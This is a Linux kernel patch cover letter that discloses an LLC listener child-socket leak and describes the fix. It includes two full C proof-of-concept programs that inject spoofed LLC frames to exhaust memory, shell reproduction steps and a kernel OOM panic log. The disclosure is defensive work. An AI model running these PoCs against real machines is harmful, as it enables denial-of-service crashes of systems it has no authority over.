[PATCH net v8 0/1] llc: fix listener child socket leaks before passive open completes

[PATCH net v8 0/1] llc: fix listener child socket leaks before passive open completes

[Zihan Xi]

Hi Linux kernel maintainers,

We found and validated an issue in net/llc/llc_conn.c. The reproducer needs
CAP_NET_RAW and CAP_NET_ADMIN in init_net.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

llc_conn_handler() creates a passive-open child for every frame matched by an
LLC listener. The child is immediately inserted in the SAP tables and takes a
device reference, before the LLC state machine proves that the frame is a real
passive open and before LLC_CONN_PRIM makes it available to accept().

A non-SABME frame never reaches that indication. The old path therefore leaves
a published child behind which accept() cannot return. The same lifecycle gap
also remains for SABME traffic when direct processing, backlog enqueue, or
backlog processing exits before LLC_CONN_PRIM, and when a listener is closed
with queued but unaccepted children.

The crash PoC is the DISC path only: a PF_LLC SOCK_STREAM listener plus
injected DISC commands, each with a unique source MAC. On the original
unfixed kernel, 100 such frames left 100 leftover entries in
/proc/net/llc/socket after the listener process exited, and deleting the
listener interface then stalled in unregister_netdevice because those
children still held the device. Repeating that traffic until the 2 GB
guest is exhausted is what produces the panic_on_oom log below. That
stack is out_of_memory() from a later page fault in the PoC process; it
does not contain llc_conn_handler(). The panic was captured on 6.12.74
and decoded with a rebuilt 6.12.74 vmlinux (DEBUG_INFO=y, KASAN=y). A
few lockdep helper frames still show original offsets.

SABME is a legitimate passive open and is not the crash trigger.
poc-sabme.c exercises the extra lifecycle paths that share the same
child publication gap: accept() after SABME, and close() of the listener
without accept().

The fix creates children only for SABME commands. DISC and other commands that
need an ADM-state DM reply are answered directly from the listener using the
packet source address, while other non-SABME traffic is dropped without driving
the listener state machine.

For SABME, the child remains in the SAP tables during passive open so tuple
lookup continues to win over the listener. The patch tracks children through
pending and queued states, routes packets for a pending child through the
listener-side handshake, and removes any child that has not been accepted when
a failure, backlog drop, or listener close occurs. Cleanup is not gated on the
current TCP state, so children are also released if the socket leaves
TCP_LISTEN before close. Redirected packets that observe SOCK_DEAD on the
listener also release the pending child in llc_conn_handler(), so that path
does not depend only on close() draining the backlog. A redirected frame
that fails to enqueue on the listener backlog is dropped without tearing
down the already pending child. close() walks the listener's remaining
incoming children after draining sk_receive_queue, so PENDING sockets
that never reached the accept queue are still released. Handshake skbs
keep a child socket reference with skb_set_owner_sk_safe(), so
kfree_skb() on drop, accept-failure, and close paths cannot race the
asynchronous teardown destructor. Process-context child-lock acquisition
is serialized with bottom halves disabled. Final child destruction is
deferred to process context so its timers can be synchronized safely,
and that work does not lock the listener. The work orphans the child and
drops the device reference before llc_sk_free().

accept() rejects a connection indication whose skb->sk is the listening
socket itself, so it cannot lock_sock_nested() the sock it already holds.
The extra hold taken when a child becomes QUEUED is dropped only when that
hold was taken, including on close() of leftover incoming_children. Leftover
frames on the listener backlog for an incoming child run on that child; if
teardown has already moved it out of service, the frame is dropped instead
of driving the child's state machine from the listener's llc->state.
Out-of-service tests on the receive path apply to incoming children, and
to a looked-up socket that teardown has already marked out of service.
SAP unhash is RCU, so that child can still be found until the grace
period ends; the frame is dropped there instead of running the state
machine with state 0. This is not a generic llc_conn_service bounds
check.

The listener-side child is already created and published to the SAP
tables before LLC_CONN_PRIM in d389424e00f9's parent, with no rollback
if processing exits early. git history first contains that behaviour in
1da177e4c3f4 ("Linux-2.6.12-rc2"), so Fixes points there.

This revision drops the follow-up LLC_CONN_OUT_OF_SVC bounds patch. Kees
Cook posted a more complete net-next series for that overlap, and review
of v6 2/2 also noted the unlatched state-table index and the possible +1
connect(2) return. The listener child leak remains independent of that
series.

PF_LLC sockets can only be created in init_net and need CAP_NET_RAW.
unshare -Urn is not used, because a user-plus-net namespace rejects
PF_LLC with EAFNOSUPPORT. The reproducer therefore creates a veth pair
and injects AF_PACKET frames in init_net.

The reproducer writes panic_on_oom only to turn the final memory
exhaustion into stable crash evidence after leftover LLC sockets are
already visible in /proc/net/llc/socket. It is not a prerequisite for
the leak itself.

packetdrill was not used here because the trigger depends on combining a PF_LLC
listening socket with raw AF_PACKET injection over a veth pair while rotating
the source MAC address to force distinct passive-open children. The PoC is
centered on that listener-plus-raw-packet resource leak path rather than on a
packetdrill-friendly timing script.

Reproducer:

    gcc -O2 -static -o poc poc.c
    gcc -O2 -static -o poc-sabme poc-sabme.c
    ip link add llc_rx0 type veth peer name llc_tx0
    ip link set llc_rx0 address 02:11:22:33:44:55
    ip link set llc_tx0 address 02:11:22:33:44:66
    ip link set llc_rx0 up
    ip link set llc_tx0 up
    ./poc llc_rx0 llc_tx0 110000

The crash command above is the DISC injector. The extra SABME paths are:

    ./poc-sabme accept llc_rx0 llc_tx0
    ./poc-sabme close llc_rx0 llc_tx0 100

For deterministic crash evidence only, after leftover LLC sockets are
already visible in /proc/net/llc/socket, we additionally set:

    echo 2 > /proc/sys/vm/panic_on_oom

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [rx_if] [tx_if] [count]\n"
		"  rx_if: LLC listener interface (default: %s)\n"
		"  tx_if: raw packet sender interface (default: %s)\n"
		"  count: number of DISC frames to send, 0 means forever\n",
		prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");

	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd;

	fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (fd < 0)
		die_errno("socket(AF_LLC)");

	get_if_hwaddr(ifname, mac);

	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");

	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int fd;
	int one = 1;
	int ifindex = get_ifindex(ifname);

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die_errno("socket(AF_PACKET)");

	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	static unsigned char frame[ETH_ZLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_ll sll;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 0;
	uint64_t i = 1;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
		usage(argv[0]);
		return 0;
	}
	if (argc > 1)
		rx_if = argv[1];
	if (argc > 2)
		tx_if = argv[2];
	if (argc > 3) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[3], &end, 0);
		if (errno || !end || *end != '\0') {
			fprintf(stderr, "invalid count: %s\n", argv[3]);
			return EXIT_FAILURE;
		}
	}
	if (argc > 4) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst_mac, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	fprintf(stderr,
		"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
		rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
	fprintf(stderr,
		"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
		dst_mac[0], dst_mac[1], dst_mac[2],
		dst_mac[3], dst_mac[4], dst_mac[5]);
	fprintf(stderr,
		"sending LLC DISC commands with a unique spoofed source MAC each time\n");

	while (!count || i <= count) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);

		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");

		if (!(i % DEFAULT_REPORT_EVERY))
			fprintf(stderr, "sent=%llu\n",
				(unsigned long long)i);
		i++;
	}

	close(packet_fd);
	close(listener_fd);
	return 0;
}
------END poc.c--------

------BEGIN poc-sabme.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define SABME_CMD 0x6f

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");
	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die_errno("socket(AF_INET)");
	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");
	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd = socket(AF_LLC, SOCK_STREAM, 0);

	if (fd < 0)
		die_errno("socket(AF_LLC)");
	get_if_hwaddr(ifname, mac);
	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");
	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int one = 1;
	int ifindex = get_ifindex(ifname);
	int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

	if (fd < 0)
		die_errno("socket(AF_PACKET)");
	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;
	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");
	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

static void send_sabme(int packet_fd, int ifindex, const unsigned char dst[ETH_ALEN],
		       const unsigned char src[ETH_ALEN])
{
	static unsigned char frame[ETH_ZLEN];
	struct sockaddr_ll sll;

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst, ETH_ALEN);
	memcpy(frame + ETH_ALEN, src, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = SABME_CMD;
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst, ETH_ALEN);
	if (sendto(packet_fd, frame, sizeof(frame), 0,
		   (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("sendto(AF_PACKET)");
}

static void usage(const char *prog)
{
	fprintf(stderr, "usage: %s accept|close [rx_if] [tx_if] [count]\n", prog);
}

int main(int argc, char **argv)
{
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	const char *mode;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 1;
	uint64_t i;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc < 2) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}
	mode = argv[1];
	if (argc > 2)
		rx_if = argv[2];
	if (argc > 3)
		tx_if = argv[3];
	if (argc > 4) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[4], &end, 0);
		if (errno || !end || *end != '\0' || !count) {
			fprintf(stderr, "invalid count: %s\n", argv[4]);
			return EXIT_FAILURE;
		}
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);
	fprintf(stderr, "mode=%s listener_if=%s sender_if=%s count=%llu\n",
		mode, rx_if, tx_if, (unsigned long long)count);

	if (!strcmp(mode, "accept")) {
		int child;
		struct sockaddr_llc addr;
		socklen_t addrlen = sizeof(addr);
		struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };

		fill_src_mac(src_mac, 1);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		send_sabme(packet_fd, ifindex, dst_mac, src_mac);
		setsockopt(listener_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
		child = accept(listener_fd, (struct sockaddr *)&addr, &addrlen);
		if (child < 0)
			die_errno("accept(AF_LLC)");
		printf("SABME passive open accepted\naccept_rc=0\n");
		close(child);
		close(packet_fd);
		close(listener_fd);
		return 0;
	}

	if (!strcmp(mode, "close")) {
		for (i = 1; i <= count; i++) {
			fill_src_mac(src_mac, i);
			if (!memcmp(src_mac, dst_mac, ETH_ALEN))
				src_mac[ETH_ALEN - 1] ^= 1;
			send_sabme(packet_fd, ifindex, dst_mac, src_mac);
		}
		close(packet_fd);
		close(listener_fd);
		printf("SABME sent without accept and listener closed\n");
		return 0;
	}

	usage(argv[0]);
	return EXIT_FAILURE;
}
------END poc-sabme.c--------

------BEGIN leak sample------
The original leak-only oracle on the unfixed kernel was a line count of
/proc/net/llc/socket, not a preserved cat of that table. After 100 DISC
frames, and after the listener process had already exited:

  wc -l /proc/net/llc/socket
  before: 0 leftover LLC sockets
  after 100 frames: 100 leftover entries remained

No raw 100-row proc table from that run was kept. Deleting the listener
interface then stalled in unregister_netdevice because those children
still held the device. The panic_on_oom log below is the later
110000-frame exhaustion of the 2 GB guest, not the leak oracle itself.
------END leak sample--------

----BEGIN crash log----
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3

[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014

[ 1665.706676][T10284] Call Trace:

[ 1665.706943][T10284]  <TASK>

[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:118 (discriminator 3))

[1665.707568][T10284] panic (kernel/panic.c:611)

[1665.707918][T10284] ? dump_header (arch/x86/include/asm/atomic64_64.h:15 include/linux/atomic/atomic-arch-fallback.h:2583 include/linux/atomic/atomic-long.h:38 include/linux/atomic/atomic-instrumented.h:3189 include/linux/vmstat.h:196 include/linux/vmstat.h:208 mm/oom_kill.c:183 mm/oom_kill.c:473)

[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:288)

[1665.708678][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)

[1665.709132][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)

[1665.709616][T10284] ? out_of_memory (mm/oom_kill.c:1158 (discriminator 1))

[1665.710024][T10284] out_of_memory (mm/oom_kill.c:1158 (discriminator 1))

[1665.710435][T10284] ? __pfx_out_of_memory (mm/oom_kill.c:1114)

[1665.710868][T10284] ? lock_acquire+0x2f/0xb0

[1665.711243][T10284] ? __alloc_pages_noprof (mm/page_alloc.c:4188 mm/page_alloc.c:4478 mm/page_alloc.c:4839)

[1665.711712][T10284] __alloc_pages_noprof (include/linux/vmstat.h:236 (discriminator 1) mm/page_alloc.c:4201 (discriminator 1) mm/page_alloc.c:4478 (discriminator 1) mm/page_alloc.c:4839 (discriminator 1))

[1665.712184][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)

[1665.712658][T10284] ? hlock_class+0x4e/0x130

[1665.713041][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)

[1665.713501][T10284] ? __pfx___alloc_pages_noprof (mm/page_alloc.c:4792)

[1665.713991][T10284] ? __pfx___lock_acquire+0x10/0x10

[1665.714431][T10284] ? __sanitizer_cov_trace_switch+0x54/0x90

[1665.714917][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)

[1665.715381][T10284] ? policy_nodemask (mm/mempolicy.c:1865 (discriminator 1) mm/mempolicy.c:2066 (discriminator 1))

[1665.715788][T10284] alloc_pages_mpol_noprof (include/linux/mm.h:1637)

[1665.716246][T10284] ? __pfx_alloc_pages_mpol_noprof (mm/mempolicy.c:2227)

[1665.716734][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)

[1665.717194][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)

[1665.717656][T10284] ? xas_load (lib/xarray.c:243)

[1665.718005][T10284] ? filemap_get_entry (mm/filemap.c:1850)

[1665.718439][T10284] folio_alloc_noprof (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:829 include/linux/page-flags.h:850 mm/internal.h:703 mm/internal.h:699 mm/mempolicy.c:2356)

[1665.718847][T10284] filemap_alloc_folio_noprof (mm/filemap.c:1511)

[1665.719316][T10284] ? __pfx_filemap_alloc_folio_noprof (mm/filemap.c:996)

[1665.719803][T10284] ? filemap_fault (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:562 mm/filemap.c:3241 mm/filemap.c:3342)

[1665.720231][T10284] __filemap_get_folio (mm/filemap.c:3818)

[1665.720683][T10284] filemap_fault (mm/internal.h:1002 mm/filemap.c:3242 mm/filemap.c:3342)

[1665.721097][T10284] ? __pfx_filemap_fault (mm/filemap.c:3315)

[1665.721534][T10284] ? do_pte_missing+0x165a/0x3ff0

[1665.721944][T10284] ? __pfx_lock_release+0x10/0x10

[1665.722375][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645)

[1665.722813][T10284] __do_fault (mm/memory.c:4887)

[1665.723172][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645)

[1665.723621][T10284] do_pte_missing+0x174c/0x3ff0

[1665.724026][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)

[1665.724482][T10284] ? reacquire_held_locks+0x20b/0x4c0

[1665.724932][T10284] ? lock_vma_under_rcu (include/linux/mm.h:718 (discriminator 2) mm/memory.c:6266 (discriminator 2))

[1665.725374][T10284] __handle_mm_fault (mm/memory.c:4791 mm/memory.c:3963 mm/memory.c:5789 mm/memory.c:5932)

[1665.725805][T10284] ? __pfx_lock_release+0x10/0x10

[1665.726207][T10284] ? down_read_trylock (kernel/locking/rwsem.c:1604)

[1665.726640][T10284] ? __pfx___handle_mm_fault (mm/memory.c:5841)

[1665.727085][T10284] ? __pfx_down_read_trylock (kernel/locking/rwsem.c:1562)

[1665.727574][T10284] ? __pfx_lock_vma_under_rcu (mm/memory.c:6256)

[1665.728053][T10284] handle_mm_fault (mm/memory.c:2943)

[1665.728479][T10284] do_user_addr_fault (arch/x86/mm/fault.c:441 arch/x86/mm/fault.c:1230)

[1665.728921][T10284] exc_page_fault (arch/x86/include/asm/irqflags.h:37 arch/x86/include/asm/irqflags.h:114 arch/x86/mm/fault.c:1485 arch/x86/mm/fault.c:1534)

[1665.729305][T10284] asm_exc_page_fault (arch/x86/include/asm/idtentry.h:623)

[ 1665.729700][T10284] RIP: 0033:0x559e433ce5cb

[ 1665.730065][T10284] Code: Unable to access opcode bytes at 0x559e433ce5a1.

[ 1665.730594][T10284] RSP: 002b:00007ffcc17c93f0 EFLAGS: 00010206

[ 1665.731148][T10284] RAX: 000000000000003c RBX: 00007ffcc17c9418 RCX: 0000559e433d10c6

[ 1665.731733][T10284] RDX: 000000000000002c RSI: 0000559e433d10c0 RDI: 0000000000000004

[ 1665.732318][T10284] RBP: 00007ffcc17c9412 R08: 00007ffcc17c9420 R09: 0000000000000014

[ 1665.732904][T10284] R10: 0000000000000000 R11: 0000000000000202 R12: 0000559e433d10c6

[ 1665.733491][T10284] R13: d288ce703afb7e91 R14: 0000000000019194 R15: 0000000000000004

[ 1665.734120][T10284]  </TASK>
-----END crash log-----

changes in v8:
  - Reject a connection indication whose skb->sk is the listener itself
    so accept() cannot lock_sock_nested() the socket it already holds,
    and drop the extra QUEUED reference only when it was taken.
  - Drop the extra QUEUED hold from the incoming_children close walk,
    matching the receive-queue walk.
  - Do not run the connection state machine on a released incoming child
    from the listener backlog; leftover in-service child frames run on
    that child under its lock.
  - Limit out-of-service tests on the receive path to incoming children
    and to a looked-up child already marked out of service. SAP unhash
    is RCU, so drop that later lookup instead of indexing the state
    table with state 0. This is not a generic llc_conn_service bounds
    check.
  - Describe the original /proc/net/llc/socket leak evidence as the
    wc -l count (0 then 100 leftover entries). No raw proc table from
    that run was kept.
  - Do not nested-lock a QUEUED child on itself in llc_backlog_rcv().
  - Sort the new locals in llc_release_incoming_children() reverse
    xmas tree.
  - Drop the unused #include <net/llc_c_st.h> from af_llc.c.
  - Decode the remaining OOM frames against a rebuilt 6.12.74 vmlinux.
  - Keep this as the listener child leak and lifecycle fix only. The
    listen(2) accept-queue bound raised against v7 is independent of the
    leak and is not included here.
  - v7 Link: https://lore.kernel.org/all/cover.1788414881.git.zihanx@nebusec.ai/
changes in v7:
  - Drop the companion LLC_CONN_OUT_OF_SVC bounds patch due to overlap with
    Kees Cook's net-next series:
    https://lore.kernel.org/all/20260901210300.i.590-kees@kernel.org/
  - That series also covers the connect(2) +1 return and rejecting
    out-of-service states before table lookup, as raised in review of
    v6 2/2:
    https://lore.kernel.org/all/20260902010052.2297527-1-kuba@kernel.org/
  - Keep only the listener child leak fix for net.
  - Fix reverse-xmas-tree local ordering in llc_conn_handler() and
    llc_incoming_sock_work(), align the atomic_cmpxchg() continuation,
    and add matching braces on the backlog retry if/else.
  - Release a PENDING child when llc_conn_handler() sees a redirected
    packet for a TCP_LISTEN socket that is already SOCK_DEAD, instead of
    dropping the packet and leaving that cleanup only to close().
  - Keep the init_net CAP_NET_RAW/CAP_NET_ADMIN reproducer; PF_LLC is
    rejected outside init_net, so unshare -Urn cannot express this path.
  - Spell out that the crash PoC is DISC-only, include poc-sabme.c for
    the accept and close paths, and restore the full OOM panic so the
    leftover /proc/net/llc/socket leak is described next to that log.
  - Do not tear down an already pending child when a redirected frame
    fails sk_add_backlog(); drop that frame only.
  - Track incoming children on the listener and release leftover PENDING
    sockets from that list on close(), instead of relying only on
    sk_receive_queue, backlog drain, or a later SOCK_DEAD packet.
  - Stop taking the listener lock in llc_incoming_sock_work(); the child
    already holds the listener, and teardown no longer interleaves with
    llc_ui_release()'s llc_sk_free().
  - Hold a child socket reference on handshake skbs with
    skb_set_owner_sk_safe(), so kfree_skb() cannot race asynchronous
    teardown through sock_rfree().
  - Finish sock_orphan() and the device put in llc_incoming_sock_work()
    before llc_sk_free(), so those steps do not run after its sock_put().
  - Keep the v1 lore Link on its own line, before the numbered-patch
    diffstat.
  - Include the original leak-only leftover /proc/net/llc/socket count
    next to the later panic_on_oom log.
  - v6 Link: https://lore.kernel.org/all/cover.1787752861.git.zihanx@nebusec.ai/
changes in v6:
  - Hold a reference for children queued for accept() and release it when they
    are dequeued, while retaining SAP publication so tuple lookup still finds
    a pending child before the passive open completes.
  - Make direct receive, backlog, accept-queue, and listener-close cleanup
    symmetric, with bottom-half-disabled child locking in process context.
  - Keep the LLC_CONN_OUT_OF_SVC lower-bound check in its separate patch and
    use the ADM state boundary consistently.
  - v5 Link: https://lore.kernel.org/all/20260822082354.3109-1-zihanx@nebusec.ai/
changes in v5:
  - Make listener child cleanup unconditional so queued children are also
    released if the socket leaves TCP_LISTEN before close.
  - Serialize process-context child cleanup and backlog dispatch with bottom
    halves disabled, avoiding child-lock acquisition races with LLC receive
    and timer paths.
  - Drop packets redirected through a pending child after its listener is no
    longer listening, and release children left out of service instead of
    dispatching them.
  - Split the LLC_CONN_OUT_OF_SVC lower-bound check into a separate patch.
  - v4 Link: https://lore.kernel.org/all/20260814185843.4748-1-zihanx@nebusec.ai/
changes in v4:
  - Create a passive-open child only for SABME and generate listener-side DM
    replies directly for non-SABME commands.
  - Use an atomic incoming-child lifecycle and serialize pending-child lookup,
    backlog processing, rollback, and listener close with the child lock.
  - Keep immediate SAP publication for passive-open tuple matching, but release
    unaccepted children on direct and backlog failures and on listener close.
  - Defer final incoming-child cleanup to workqueue context so timer
    synchronization does not run in the receive softirq path.
  - Add an LLC state lower-bound check before state-table dispatch.
  - v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/
changes in v3:
  - Drop the unused llc_conn_handler() local rc variable reported in review.
  - Rebase the numbered patch and cover onto commit
    ede76849012e45ffb2193ad110b42027eec02c5c.
  - v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
changes in v2:
  - Rework the fix to preserve the existing passive-open tuple matching
    semantics instead of deferring child publication until LLC_CONN_PRIM.
  - Track listener-created children pending publication to accept(), and roll
    them back on every earlier failure or drop path.
  - Cover the original non-SABME leak and SABME paths which fail before
    LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
  - Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest
